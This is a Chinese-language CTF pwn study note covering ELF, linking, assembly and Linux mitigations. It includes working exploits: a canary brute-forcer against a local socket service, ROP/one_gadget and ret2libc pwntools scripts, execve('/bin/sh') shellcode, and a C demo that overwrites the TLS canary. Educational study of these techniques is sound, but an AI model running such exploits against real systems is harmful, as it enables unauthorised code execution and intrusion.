CTF 竞赛权威指南-PWN

0x00 二进制文件

4 个阶段

 通过在 gcc 编译过程中加入 -save-temps(生成编译过程中的中间文件) 与 —verbose(查看 gcc 编译的详细工作流程) 选项,可以看出 gcc 编译分为 4 个阶段,分别为预处理、编译、汇编、链接

  • 使用 cc1 编译器将 xx.c 编译为 xx.s(预处理+编译)。
  • 使用 as 汇编器(汇编)将 xx.s 汇编为 xx.o。
  • 使用 collect2 链接器将 c 语言运行时库(CRT)中的目标文件以及所需的动态链接库链接起来

预处理阶段

1
gcc -E xx.c -o xx.i

 处理 # 开头的指令,例如 #include,#define。预处理阶段将其处理后直接插入到程序文本中,得到另一个 c 程序(xx.i)。注释删除阶段也是在此流程进行的。

编译阶段

1
gcc -S xx.i -o xx.s

 Linux gcc 编译过程:

  • 词法分析:输入源程序的字符流,输出有意义的词素(lexeme)。
  • 语法分析:根据词法单元的第一个分量创建语法树。
  • 语义分析:使用语法树与符号表,检测源程序是否满足语言定义的语义约束。
  • 中间代码生成与优化:生成类似于机器语言的中间表示,例如三地址码,然后对其进行优化。
  • 代码生成与优化:将中间表示映射到目标机器语言。

汇编阶段

1
gcc -c xx.s -o xx.o

 根据汇编指令与机器指令的对照表进行翻译,生成一个可重定位文件。此时与正常 ELF 不同的点在于:

  • 传递参数的寄存器的值没有设置。
  • call function 中 function 并没有进行设置。

链接阶段

 将目标文件与其所依赖的库进行链接,修正其符号地址。

备注

  • gcc -masm=intel 选项。 gcc 默认使用 AT&T 的汇编语言,其格式为:
1
2
movl $4, %eax 
movl $1, %ebx

 在此我们将其设置为 intel 格式的汇编,其格式为:

1
2
mov eax, 4
mov ebx, 1
  • gcc -fno-asynchronous-unwind-tables 选项。生成没有 cfi 宏的汇编指令。 cfi (Control Flow Integrity)宏是一种防止攻击者利用程序中的漏洞来篡改程序的控制流,它通过向程序中写入某些代码,来在函数开头与结尾时做 check,例如:
1
2
3
4
5
void foo() {
CFI_START(foo);
// 函数体
CFI_END(foo);
}

 它可以使用 LLVM 的 SafeStack 或者 Windows 的 Control Flow Guard 来实现。其本质上就是,在函数体中,如果有跳转的话,就会检查跳转目标地址的合法性。

ELF 文件格式

 ELF 最初是作为应用程序二进制接口 ABI 的一部分发布的。ELF 有 3 种文件类型,分别为 exec(可执行文件,对应 .exe)、rel(可重定位文件,对应 .o,通常是位置独立 PIC 的代码,用于与其他目标文件链接以构成可执行文件)、dyn(共享目标文件,对应 .dll)。

 有两种视角可以审视一个 ELF 文件,分别为链接视角(通过 section 来划分)与运行视角(通过 segment 来划分)。链接视角一般包含代码(.text)、数据(.data)与 BSS(保存未初始化的全局变量与局部静态变量) 三个节。运行视角就是就是程序运行时的内存状态。两种视角其实就是静态与动态。

链接视角

 ELF header 描述了 ELF 文件类型,版本,目标机器,程序入口,段表/节表的位置。开头的 magic 为 \177ELF

 另外,还有 section header table,其中每一项都是节描述符(ELF64_Shdr),记录了每个节的名称,长度,偏移,读写权限。它不是必须的,所以有的程序把它删除,增加分析难度。除了这些之外,还有一些比较重要的 section:

1
2
3
4
5
6
.got      | 全局偏移量表,保存全局变量引用的地址
.got.plt | 保存函数引用的地址
.plt | 过程链接表,用于延迟绑定
.rela.dyn | 变量的动态重定位
.rela.plt | 函数的动态重定位
.symtab | 符号表

 重定位是连接符号定义与符号引用的过程。可重定位文件需要把节中的符号引用转换成符号在进程中的虚拟地址。

运行视角

 当运行可执行文件时,需要将文件与动态链接库装载到进程空间中,形成进程映像。这个映像如何布局是由 ELF header 中 e_phoff(Program header table offset)决定的。每一个 segment 对应一个或多个 section。根据 section 的权限对不同权限的节分组,并同时装载多个节。

 一个可执行文件至少有一个 PT_LOAD 类型的段,用于描述可装载的节。PT_DYNAMIC 段包含一些动态链接器所必需的信息,例如 GOT 表、重定位表等。

静态链接

 链接是将多个不同的目标文件组合成一个可执行文件,包括编译时链接、加载时链接与运行时链接。多个目标文件的组合使用相似节合并的方法,即文件 A 的 .data 与 B 的 .data 合并。具体来说,链接器首先对各个节进行分析,将 A 与 B 中符号表的符号定义与符号引用统一生成全局符号表,最后对符号表进行重定位(放到其该有的位置,在这个步骤中进行相似节合并)。

 链接器要完成:(1)符号解析,将符号的引用与其定义进行关联。(2)重定位,将符号定义与内存地址进行关联,然后修改符号的的引用,使其指向某个内存地址。.o 文件还没进行链接,因此其虚拟地址 VMA 表示为 0,链接后就正常了。

 .o 文件是可重定位文件,其中包含重定位表,用于帮助链接器如何修改节的内容,每一个节都有一个重定位表,例如 .rel.text 的节用于保存 .text 的重定位表,其中 shared 类型用于绝对寻址,func 类型用于相对寻址。

 Linux 中静态链接库后缀为 .a,一个静态链接库为一组目标文件经过压缩打包的集合。使用 ar 工具可以对 .o 文件进行打包,生成 .a 文件。

动态链接

 静态链接的缺点:如果对标准函数做出微小改动,都需要重新编译整个源文件。动态链接:在程序运行或加载时,在内存中完成的链接。GCC 默认使用动态链接,如果要生成一个动态链接库(共享库),那么指令为:

1
gcc -shared -fpic -o func.so func.c

 其中,-fpic 指的是位置无关代码,也就是可以加载而无需重定位的代码。通过 PIC,共享库的代码可以被无限多个进程共享。由于程序的数据段与代码段的相对距离总是保持不变的,因此指令与变量之间的距离是运行时常量,与绝对地址无关。因此,就会有全局偏移量表(GOT)的产生,此表位于数据表开头,用于保存全局变量的引用,在加载时会进行重定位给并填入符号的绝对地址。

 实际上,执行中会有保护机制 RELRO,此时 GOT 拆分为 .got 节(变量偏移表)和 .got.plt 节(函数偏移表),.got 不需要延迟绑定,加载到内存之后就是只读,.got.plt 需要延迟绑定,加载到内存之后有读写权限。给一个 GOT 表的例子:

image-20240401190637418

 延迟绑定:动态链接是由动态链接器在程序加载时进行的,当需要重定位的符号很多时,会影响性能,因此有了延迟绑定,即当函数第一次被调用时,动态链接器才进行符号查找。ELF 使用 PLT(过程链接表) 与 GOT 来实现延迟绑定,每一个库函数都有自己的 PLT 与 GOT。

 PLT 位于 .plt 节(代码段)中,是一个数组。PLT[0] 用于跳转到动态链接器(也是作为一个动态链接库存在),PLT[1] 用于调用系统启动函数 libc_start_main(main 函数就是在这里面调用),之后就是被调用的各个函数。

 GOT 位于 .got.plt 节(数据段),也是一个数组。GOT[0] 和 GOT[1] 包含动态链接器在解析函数地址时所需要的两个地址(.dynamic 和 relor),GOT[2] 是动态链接器 ld-linux.so 的入口点,从 GOT[3] 开始就是被调用的各个函数条目,完成绑定后才会被修改为函数的实际地址。

 举个例子:

image-20240401192124709

 执行 call 指令会进入 func@plt(PLT),jmp 指令找到对应的 GOT 条目,这时该位置保存的还是 push 1,于是执行第二条指令,然后进入 PLT[0]。PLT[0] 先将 GOT[1] 压栈,然后调用 GOT[2](_dl_runtime_resolve),完成符号解析和重定位工作,并将 func 的真实地址填入 func@got.plt,也就是 GOT[4],最后才把控制权交给 func。延迟绑定完成后,如果再调用 func,就可以由 func@plt 的第一条指令直接跳转到 fnc@got.plt,将控制权交给 func。

 上述是传统的动态链接,也就是加载时链接。之后介绍运行时链接,需要使用 dlopen 的接口。两者的区别是:

  • 加载时链接会生成 GOT 表,记录着可能用到的所有符号。
  • 运行时链接则需要在运行时定位这些符号。

0x01 汇编基础

 快速过一下。

  • CPU 称为处理器,是从内存中读取指令,然后解码和执行。
  • CPU 架构就是 CPU 的内部设计和结构,由一堆硬件电路组成。
  • 指令集架构(Instruction Set Architecture,ISA)称为指令集,包含了操作码 opcode,以及由特定 CPU 执行的基本命令。要想设计 CPU,首先得决定使用什么样的指令集,然后才设计硬件电路。指令集可分为CISCRISC
  • 由于指令集不利于阅读和理解,因此发明了汇编语言(Assembly language),用人类语言的方式对指令集进行描述。

CISC 与 RISC

 复杂指令集计算机(Complex Instruction Set Computer,CISC),例如 x86、AMD64。在 Linux 中,将x86-64称为 amd64,而 x86 称为 i386。精简指令集计算机(Reduced Instruction SetComputer,RISC)的概念,例如 ARM、MIPS。

 CISC 与 RISC 相互借鉴。CISC 指令在解码阶段上向 RISC 指令转化,将后端流水线转换成类似 RISC 的形式,即等长的微操作(micro-ops),弥补了 CISC 流水线的劣势。同期,ARM 也引入了代码密度更高的 Thumb 指令集,允许混合使用 16 位指令和 32 位指令,提高了指令缓存的效率。

 两者的对比如下:

  • RISC 的指令长度是固定的,对于 32 位的 ARM 处理器,所有指令都是4个字节。CISC 的指令长度是不固定的,通常在 1 到 6 个字节之间。固定长度的指令有利于解码和优化,可以实现流水线(pipeline),缺点则是平均代码长度更大,会占用更多的存储空间。指令长度不固定的话,从不同的地方开始反汇编,可能会出现不同的结果,即指令错位。
  • 基于 80% 的工作由其中 20% 的指令完成的原则,RISC设计的指令数量也相对较少。CISC 为某个特定的操作专门设计一条指令,而 RISC 则需要组合多条指令来完成该操作。例如,x86 拥有专门的进栈指令 push 和出栈指令 pop,而 ARM 处理器没有这类指令,需要通过 load/store+add 等多条指令完成。
  • ARM 采用了 load/store 架构,处理器的运算指令在执行过程中只能处理立即数,或者寄存器中的数据,不能访问内存。因此,存储器和寄存器之间的数据交互,由专门 load/store 指令负责。相反,x86 既能处理寄存器中的数据,也能处理存储器中的数据,因此寻址方式也更加多样。
  • RISC 处理器需要更多的通用寄存器。ARM 通常包含 31 个通用寄存器,而 x86 只有8个,x86-64 则增加到 16 个。因此,RISC 可以完全使用寄存器来传递参数,而 CISC 则不能。

x86/x64 基础

 x86-64 有 5 个操作模式:保护模式、实地址模式、系统管理模式,保护模式的子模式(称为虚拟 8086 模式)、IA-32e。

  • 保护模式。处理器的原生状态,所有的指令和特性都是可用的。为了模拟 8086 处理器,在虚拟 8086 模式下,操作系统可以在实体 CPU 中划分多个 8086 CPU(早期虚拟机)。分配给程序的独立内存区域称为内存段,处理器将阻止程序使用自身段以外的内存区域
  • 实地址模式。程序可以直接访问硬件及其实际内存地址,而无需虚拟内存地址的映射。
  • 系统管理模式。电源管理或安全保护等特性。
  • IA-32e。该模式包含两个子模式,分别为兼容模式和 64 位模式,在兼容模式下现有的 32位和 16 位程序无须重新编译;在 64 位模式下,处理器将在 64 位的地址空间下运行程序。

 MOV 指令是图灵完备的。XCHG 允许交换 2 个操作数的值。

0x02 Linux 安全机制

基础

 Linux 的 shell 一般是 bash,也可以是 zsh。

1
2
3
4
5
var="test"     
echo 'this is $var' // 输出为 this is $var
echo "this is $var" // 输出为 this is test
echo `date` // 执行 date 指令并输出
ldd /file // 输出 file 所需的依赖库

 流可以理解成一串连续的、可边读边处理的数据,标准流(standard streams)可以分为标准输输入/标准输出/标准错误。文件描述符(file descriptor)是内核为管理已打开文件所创建的索引,使用一个非负整数来指代被打开的文件。

1
2
3
4
5
6
cmd > file  // 重定向并覆盖
cmd >> file // 重定向追加
cmd < file // file 作为 cmd 的输入
cmd << tag // 从标准输入读取直到遇到 tag
cmd 2 > file // cmd 的错误覆盖到 file
2 >&1 // 合并标准错误与标准输出

 UID 是用户 ID,GID 是组 ID。用 env 指令可以查看环境变量。一些特殊的环境变量:

1
2
LD_PRELOAD:定义程序运行时优先加载的动态链接库。ELF 文件的 INTERP 字段指定了解释器 ld.so 的位置,如果该路径与动态链接库的位置不匹配,则会触发错误。
environ:libc 中定义的全局变量,指向内存中的环境变量表(栈内)。

 每个进程都对应 /proc下的一个目录,目录名就是进程的 PID。procfs 是 Linux 内核提供的虚拟文件系统(只占用内存,不占用存储),为访问内核数据提供接口。可以通过 procfs 查看系统硬件及当前正在运行进程的信息(进程内存、段、栈等),并可以通过修改其中内容来改变内核状态。如下图所示,感觉很有用。

image-20240410233356130

 Intel 是小端序,TCP/IP 协议与 JVM 是大端。

1
strace ls -l // 追踪 ls -l 运行时所运行的系统调用

 调用约定(内核):

  • 32 位系统调用:Linux 系统调用使用寄存器传递参数,eax 为 syscall_number,ebx、ecx、edx、esi 和 ebp 用于传递参数,返回值保存在 eax 中,使用 int 0x80 或 sysenter 进入内核态。sysenter 需要用户在用户态手动布置栈,这是因为在 sysenter 返回时,会执行 kernel_vsyscall,而 kernel_vsyscall 封装了DSO 的一部分(允许程序在用户层执行内核代码)。
  • 64 位系统调用:系统调用通过 syscall 完成,系统调用的参数限制为 6 个(rdi、rsi、rdx、r10、r8、r9),不直接从堆栈上传递任何参数。

 调用约定(用户):

  • 32 位函数调用:参数通过栈进行传递。

  • 64 位函数调用:顺序使用 rdi、rsi、rdx、rcx、r8、r9 传参,所以如果有多于 6 个的参数,则在栈上传递。

Stack Canaries(不可更改返回地址)

 栈上的一个随机数,在程序启动时随机生成并保存在比函数返回地址更低的位置。程序只需要在函数返回前检查 Canary 是否被篡改,就可以保护栈。

3 种 Stack Canaries:

  • Terminator canaries。由于许多栈溢出都是由于字符串操作不当所产生的,而这些字符串以 0x00 结尾。因此,将低位设置为 0x00,既可以防止被泄露,也可以防止被伪造。
  • Random canaries。通常在程序初始化时随机生成,并保存在一个安全的地方。
  • Random XOR canaries。与 random canaries 类似,但多了一个 XOR 操作,这样无论是 canaries 被篡改还是 XOR 的控制数据被篡改,都会发生错误。

与 Stack Canaries 相关的 gcc 编译选项:

  • -fstack-protector。保护 alloca 函数和内部缓冲区大于 8 字节的函数。
  • -fstack-protector-strong。增加对局部数组定义和地址引用的函数的保护。
  • -fstack-protector-explicit。对 stack protect 属性的函数启用保护。
  • -fno-stack-protector。禁用保护。

img

 在 Linux 中,fs 寄存器被用于存放线程局部存储(Thread Local Storage,TLS),TLS 是为了避免多个线程同时访问/修改同一全局变量时所导致的冲突(TLS 为每一个使用该全局变量的线程都提供一个变量值的副本,每一个线程均可以独立地改变自己的副本,而不会和其他线程的副本冲突,从线程的角度看,就好像每一个线程都完全拥有该变量)。在 glibc 里,TLS 结构体偏移 0x28的地方是 stackguard。如果是 32 位程序,stackguard 存放在 gs:0x14。

Stack Canaries 具体的实现:

 64 位程序加载时 glibc 中的 ld.so 首先初始化 TLS:

  • 使用 arch_prctl 系统调用分配 TLS 空间,设置 fs 寄存器指向 TLS。

  • 调用 security_init 生成 stackguard,并放入 fs:0x28。security_init 内部逻辑为:

  1. Step1:生成 Canary。进入 _dl_setup_stack_chk_guard,并根据位数生成相应的 Canary 值。为了使 Canary 具有字符截断的效果,其最低位被设置为 0x00。如果 dl_random 指针为 NULL,那么 Canary 为定值。

  2. Step2:将 Canary 赋给 fs:0x28,或者将 Canary 赋给全局变量 __stack chk_guard(.bss 段)。使用 THREAD_SETMEM 修改线程描述符的成员。

绕过思路:

  • 读 Canaries 的值,在栈溢出时覆盖上去,使其保持不变。
  • 同时篡改 TLS 和栈上的 Canaries。

分析文件流程:

  • file xxx
  • pwn checksec xxx

NJCTF 2017: messager

 发现开了 canary。

img

img

  • 开一个 socket,监听 5555 端口,若有连接请求就 fork 一个子进程来处理连接。

  • 子进程接收消息(其中子进程有栈溢出漏洞),接收到之后就发送 Message received。

 通常,对 Canaries 进行爆破是太可能的(虽然低位是固定的 0x00),因为会使程序崩溃。程序重启后 Canaries 会重新生成,但同一个进程内(包括子进程)的 Canaries 不会变,且子进程崩溃不会影响到主进程,因此可以爆破。思路:

  • 根据进程崩溃与否来判断填充的字节是否正确。
  • 覆盖返回地址,定向到发 flag 的函数,获得 flag。(内存结构:s[104] - canary - v2 - ret,低地址到高地址)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

def string_to_hex(s):
return ''.join(f"{ord(c):02x}" for c in s)

def leak_canary():
global canary
canary = "\x00"

while len(canary) < 8:
for x in range(256):
io = remote("127.0.0.1", 5555)
io.recv()

io.send("A"*104 + canary + chr(x))
try:
io.recv()
canary += chr(x)
break
except:
continue
finally:
io.close()
print("canary", string_to_hex(canary))

def pwn():
io = remote("127.0.0.1", 5555)
io.recv()

# s[104] and v2
io.send("A"*104 + canary + "A"*8 + "\xc6\x0b@\x00\x00\x00\x00\x00")
print(io.recvline())

if __name__ == "__main__":
leak_canary()
pwn()

sixstars CTF 2018:babystack

1
gcc -fstack-protector-strong -s -pthread bs.c -o bs -Wl, -z, now, -z, relro
  • -s。在生成的可执行文件中去除符号表信息和调试信息。
  • -pthread。启用 POSIX 线程库,确保编译器在预处理、编译和链接阶段正确处理多线程代码。
  • -Wl, -z, now, -z, relro。传递两个链接器选项:
    • now。使用立即绑定模式,即在程序启动时立即解析所有动态库符号引用,而不是延迟到符号被使用时才解析。
    • relro。使程序的某些部分(主要是动态链接信息)变为只读,这可以防止这些部分被修改,增强安全性。

img

img

 其实,通过 pthread_create 创建的线程,glibc 在 TLS 的实现上是有问题的。具体而言:

  • 由于栈是由高地址向低地址增长,glibc 在高地址对 TLS 进行初始化,从 TLS 减去一个固定值,可以得到新线程用于栈寄存器的值(新线程用于保存栈寄存器的地址)。

  • 从 TLS 到传递给 pthread_create 的运行函数的栈帧,距离小于一页。因此,攻击者无须纠结原 canary 的值是什么,可以直接溢出足够多的数据篡改 tcbhead_t.stack_guard,也就是同时篡改 TLS 和栈上的 Canaries。

 给一个相关的代码示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include <cstdio>

void pwn_payload() {
char *argv[2] = {"/bin/sh", 0};
execve(argv[0], argv, 0);
}

int fixup = 0;
void *first(void *x) {
unsigned long *addr;

// 获取 FS 的地址(线程的 TLS)
arch_prctl(ARCH_GET_FS, &addr);
printf("thread FS %p\n", addr);
printf("cookie thread: 0x%lx\n", addr[5]);

// 获取当前函数(first)的栈基址
// 内存:ret addr - canaries,从高到低
unsigned long *frame = __builtin_frame_address(0);
printf("stack_cookie addr %p\n", &frame[-1]);

printf("diff: %lx\n", (char*)addr - (char*)&frame[-1]);
unsigned long len = (unsigned long)((char*)addr - (char*)&frame[-1]) + fixup;
void *expolit = malloc(len);
memset(expolit, 0x41, len);

void *ptr = &pwn_payload;
memcpy((char*)expolit+16, &ptr, 8);
memcpy(&frame[-1], expolit, len);
return 0;
}

int main(int argc, char **argv, char **envp){
pthread_t one;
unsigned long *addr;
void *val;

arch_prctl(ARCH_GET_FS, &addr);
if (argc > 1) {
fixup = 0x30;
}

printf("main FS %p\n", addr);
printf("cookie main: 0x%lx\n", addr[5]);
pthread_create(&one, NULL, &first, 0);
pthread_join(one, &val);

return 0;
}

img

解题思路:

  • 通过栈溢出构造 rop。
  • 使用 put 函数 leak 出 libc 的基地址。
  • 找到 one_gadget 的偏移,并计算出 one_gadget 的实际地址。
  • 将这个地址读到 bss 段,使用 leave+ret,劫持 rip 到one_gadaget。

Step1:使用 put 函数 leak 出 libc 的基地址

 当调用 puts.plt(代码段) 的时候,系统会将真正的 puts 函数地址 link 到 puts.got(数据段) 中,然后 puts.plt 会根据 puts.got 跳转到 puts 函数。我们最终想达到的目的是 put(puts.got)。因此需要 gadget 去调用 put 函数,并传递 put.got 参数。

img

 其中,pop_rdi_addr 可以使用 ROPgadget 在 bs 文件中找。

img

 因此,pop_rdi_addr = 0x400c03。

Step2:找到 one_gadget 的偏移,并计算出 one_gadget 的实际地址,并使用 leave+ret 劫持到 one_gadget

 one_gadget 可以理解为开 bash 的代码段,如下所示:

img

 可以使用 one_gadget 在 libc.so 中找(在这里取 0xf1147):

img

 接下来的构造理解起来比较难,具体而言:

  • 拿到上一步的 libc 基地址。
  • 计算 one_gadget 的实际地址,使用 read(0, bss_addr) 将实际地址写入到 bss_addr 中。
  • 使用 leave+ret 指令(相当于 mov rsp, rbp; pop rbp; pop rip;)将 rip 设置到 bss_addr 指向的地址。(虽然 bss 段是 NX 保护不可执行的,但是 libc 中的 one_gadget 是可执行的)

img

 其中,pop_rsi_r15_addr 可以使用 ROPgadget 找到,其值为 0x400c01。leave_ret_addr 也可以找到,为 0x400955。

img

 bss_addr 可以使用 readelf -S bs 找到,为 0x602010。

img

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
io = process("./bs", env={'LD_PRELOAD':'libc.so'})
elf = ELF('bs')
libc = ELF('libc.so')

pop_rdi=0x400c03
pop_rsi_r15=0x400c01
leave_ret=0x400955

bss_addr=0x602030

# TLS 与栈中的 canary 小于 1 页
payload=b'\x00'*0x1008
payload+=b'\x11'*0x8 # canary
payload+=p64(bss_addr-0x8) # rbp
payload+=p64(pop_rdi)+p64(elf.got['puts']) # rdi=puts.got
payload+=p64(elf.plt['puts']) # puts(puts.got)
payload+=p64(pop_rdi)+p64(0) # rdi=0
payload+=p64(pop_rsi_r15)+p64(bss_addr)+p64(0) # rsi=bss_addr
payload+=p64(elf.plt['read'])
payload+=p64(leave_ret)
payload=payload.ljust(0x17e8,b'\x00') # 0x17e8 不知道咋得到的
payload+=b'\x11'*0x8
payload=payload.ljust(0x2000,b'\x00')

io.sendlineafter(b"send?\n",str(0x2000).encode())
io.send(payload)

io.recvuntil(b"goodbye.\n")

libc_base=u64(io.recv(6).ljust(8,b"\x00"))-libc.symbols['puts']
one_gadget=libc_base+0xf1147
log.info("libc address: 0x%x"%libc_base)

log.info("one gadget: 0x%x"%one_gadget)
io.send(p64(one_gadget))
io.interactive()

 这个 exp 一直运行不起来,报内部错误,也没有深究。

NX:No-eXecute(堆栈不可执行)

 将数据所在的内存页标识为不可执行。实施 NX 有多种技术,Windows 上是 DEP,Linux 上是 NX、W^X、PaX、Exec Shield 等。

 NX 需要结合软件和硬件共同完成。

1
2
3
硬件层面:利用处理器的 NX 位,对页表项中的第 63 位进行设置,设置为 1 表示不可执行。一旦程序计数器(PC)在受保护的页面内,就会触发硬件层面的异常。

软件层面:NX 有时会给动态生成的代码(JIT)来问题。因此在软件层面提供了 API。Windows 的 VirtualProtect/VirtualAlloc,Linux 的 mprotect/mmap。

 NX 开启后,程序的 .text 为可执行,而 .data、.bss 以及栈、堆均为不可执行。因此,通过修改 GOT 来执行 shellcode 的方式不再可行,但不能阻止攻击者通过代码重用来进行攻击(ret2libc)(我理解就是找 libc 中的 one_gadget)。开启 NX 的指令如下:

1
gcc -z exestack hello.c

 跟着 link 安装 gdb 相关工具,然后跟着示例做实验。

image-20240507153907569

 实验思想是:使用 gdb 观察返回地址与缓冲区溢出开头的距离,并将返回地址改为缓冲区开头。但是由于 gdb 与真实环境有差距,因此使用 core dump 确定距离。具体看 P74。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

io = process('./a.out')
ret = 0xffffd520

"""
0: 31 c9 xor ecx,ecx
2: f7 e1 mul ecx
4: b0 0b mov al,0xb ; eax = 0xb, execve
6: 51 push ecx ; ecx = 0
7: 68 2f 2f 73 68 push 0x68732f2f
c: 68 2f 62 69 6e push 0x6e69622f
11: 89 e3 mov ebx,esp ; ebx = '/bin/sh'
13: cd 80 int 0x80 ; execve('/bin/sh', NULL, NULL)
"""
shellcode = b"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"

payload = shellcode + b"A"*(140-len(shellcode)) + p32(ret)
print(payload)
io.send(payload)
io.interactive()

 如果开 NX(堆栈不可执行) 的话,就需要在目前的代码中找 /bin/sh,代码如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

io = process('./b.out')

ret = 0x0
system_addr = 0xf7e09360
binsh_addr = 0xf7f54363

payload = b"A"*140+p32(system_addr) + p32(ret) + p32(binsh_addr)

io.send(payload)
io.interactive()

ASLR 与 PIE(地址空间随机化)

 攻击者攻击需要知道程序的内存布局,通过 ASLR 引入内存布局的随机化,增加攻击的难度。Linux 中的 ASLR 与配置 /proc/sys/kernel/randomize_va_space 有关,其有 3 种情况:0 表示关闭 ASLR,1 表示部分开启,2 表示完全开启,如下所示:

image-20240507205051761

 ASLR 是操作系统层面的技术,不涉及程序,因此就有了 ret2plt、GOT 劫持,因此就有了 PIE(位置无关可执行文件),通过将程序编译为 PIC(位置无关代码),使程序可以被加载到任意位置,就像是一个特殊的共享库。完全开启 ASLR + PIE 的指令:

1
2
echo 2 > /proc/sys/kernel/randomize_va_space
gcc -pie -fpie xx.c

 对 PIE 的检测:是否是共享目标文件(DYN)+ dynamic 节里是否有 DEBUG 条目。

 再来看开启 ASLR 时如下程序的利用:

1
2
3
4
5
6
7
8
9
10
11
12
#include <cstdio>
#include <unistd.h>

void vuln_func() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}

int main() {
vuln_func();
write(STDOUT_FILENO, "hello world!\n", 13);
}

 关闭 PIE 的情况下,程序本身的地址是固定的,因此此时可以使用 write 函数打印出 libc 的地址,接着计算 system 的地址。

image-20240507221054236

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

io = process("./nopie.out")
elf = ELF("./nopie.out")
# libc = ELF("/lib/i386-linux-gnu/libc.so.6")
libc = ELF("/lib32/libc.so.6")

vuln_func = 0x080491b6

payload1 = b"A"*140 + p32(elf.sym['write']) + p32(vuln_func) + p32(1) + p32(elf.got['write']) + p32(4)

io.send(payload1)

write_addr = u32(io.recv(4))
system_addr = write_addr - libc.sym['write'] + libc.sym['system']
binsh_addr = write_addr - libc.sym['write'] + next(libc.search('/bin/sh'))

payload2 = b"B"*140 + p32(system_addr) + p32(vuln_func) + p32(binsh_addr)

io.send(payload2)
io.interactive()

 如果开启了 ASLR+PIE,假设我们仍可获得 main 地址,那么计算偏移之后就可以获得 vuln_func 的地址。

1
2
3
4
5
-pie -fno-pie 与 -pie -fpie 的区别?

假设使用 -pie -fno-pie(生成位置无关的文件,但不生成位置无关的代码),生成的是共享目标文件,其符号在链接时进行重定位(此时不使用 GOT/PLT,而是在运行前先将符号占坑,运行的时候再填充,即改原始字节码,直接跳到 libc 对应函数)。

若使用 -pie -fpie,发现它不直接改原始字节码,而是使用 __x86.get_pc_thunk 函数(将下一条指令的地址给 ebx,然后加偏移得到 GOT 的地址,以此作为后续操作的基地址),详细见下面的描述。

 使用 -pie -fpie 编译后,找 write 函数的地址,发现:

image-20240507225501291

 此时,在执行到 0x1239 的时候,ebx=0x1239,之后,ebx=0x123e+0x2d96,这是 GOT 表的基址。之后看 write@plt 的代码,发现:

image-20240507225543140

 因此,write 的 GOT 表偏移为 0x14,查看发现地址是 0x1050(write 函数的地址)。

image-20240507231609906

 针对开启 -pie -fpie 的情况写利用脚本(与不开启 pie 的区别是:需要泄露程序本身的加载地址):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

io = process("./pie2.out")
elf = ELF("./pie2.out")
# libc = ELF("/lib/i386-linux-gnu/libc.so.6")
libc = ELF("/lib32/libc.so.6")

# Assume leak main addr
main_addr = int(io.recvline(), 16)
offset = main_addr - elf.sym['main']
vuln_func = offset + elf.sym['vuln_func']
plt_write = offset + elf.sym['write']
got_write = offset + elf.got['write']

ebx = offset + 0x123e + 0x2d96 # GOT addr

payload1 = b"A"*132 + p32(ebx) + b'A'*4 + p32(plt_write) + p32(vuln_func) + p32(1) + p32(got_write) + p32(4)

io.send(payload1)

write_addr = u32(io.recv(4))
system_addr = write_addr - libc.sym['write'] + libc.sym['system']
binsh_addr = write_addr - libc.sym['write'] + next(libc.search('/bin/sh'))

payload2 = b"B"*140 + p32(system_addr) + p32(vuln_func) + p32(binsh_addr)

io.send(payload2)
io.interactive()

image-20240507233226599

FORTIFY_SOURCE(缓冲区溢出攻击和格式化字符串攻击检查)

 FORTIFY_SOURCE 为字符串操作函数提供轻量级的缓冲区溢出攻击和格式化字符串攻击(%n、%N$)检查,它会将危险函数替换为安全函数。目前所支持的函数有 memcpy、memmove、memset、strcpy 等。该机制在 ubuntu16.04(GCC-5.4.0) 上默认是关闭的。当函数后缀为 _chk 时,表明开启了 FORTIFY_SOURCE,例如 __strcpy_chk()

1
2
完全开启:gcc -O1 -D_FORTIFY_SOURCE=2
部分开启(仅开启缓冲区溢出检查):gcc -O1 -D_FORTIFY_SOURCE=1

 例如 printf_chk,其中设置 _IO_FLAG2_FORTIFY 标志位,并调用了 vfprintf,主要是对 %n%N$ 做了安全检查。但是也可以对其进行攻击(整数溢出):将位于栈上的 _IO_FILE 中的 _IO_FLAGS2_FORTIFY 篡改为 0,从而关闭 FORTIFY_SOURCE 对 %n 的检查,然后再次利用任意地址写,将 nargs 改为 0,从而关闭对 %N$ 的检查。

 同时,vprintf 还有 4byte NULL 写的漏洞:提前计算好栈与 _IO_FLAGS2_FORTIFY 的偏移,利用该偏移构造一个恶意的格式字符串,使 args_type[ATTACKER_OFFSET]=0x00000000,从而达到任意地址写。例如传入的格式字符串为 %1$*269096872$x,此时就会使偏移为 269096872 写入 0。

RELRO(解决延迟绑定的 GOT 表劫持问题)

 延迟绑定就是当第一次调用此函数时,才解析 GOT 中函数的实际地址。因此此时 GOT 表(.got.plt)应该是可写的,此时攻击者可以改为恶意地址。RELRO(ReLocation Read-Only)是为了解决延迟绑定的安全问题,它将符号重定向表设置为只读,或者在程序启动时就解析并绑定所有动态符号。RELRO 有两种形式:

1
2
3
Partial RELRO。一些段(.dynamic、.got) 在初始化后将会被标记为只读。

Full RELRO。Partial RELRO + 禁止延迟绑定,导入符号将在开始时被解析,.got.plt 段被完全初始化为目标函数的最终地址,并被 mprotect 标记为只读。
1
2
3
关闭 RELRO:-z norelro
部分 RELRO: -z lazy
全部 RELRO:-z now

 通过检查是否有 GNU_RELRO 段判断是否开启 RELRO,通过动态段表的 BIND_NOW 判断是部分 RELRO 还是全部 RELRO。

0x03 环境搭建

 虚拟化分为如下几类:

  • 操作系统层虚拟化,不能模拟硬件设备,但可以创建多个虚拟的操作系统实例,如 Docker。
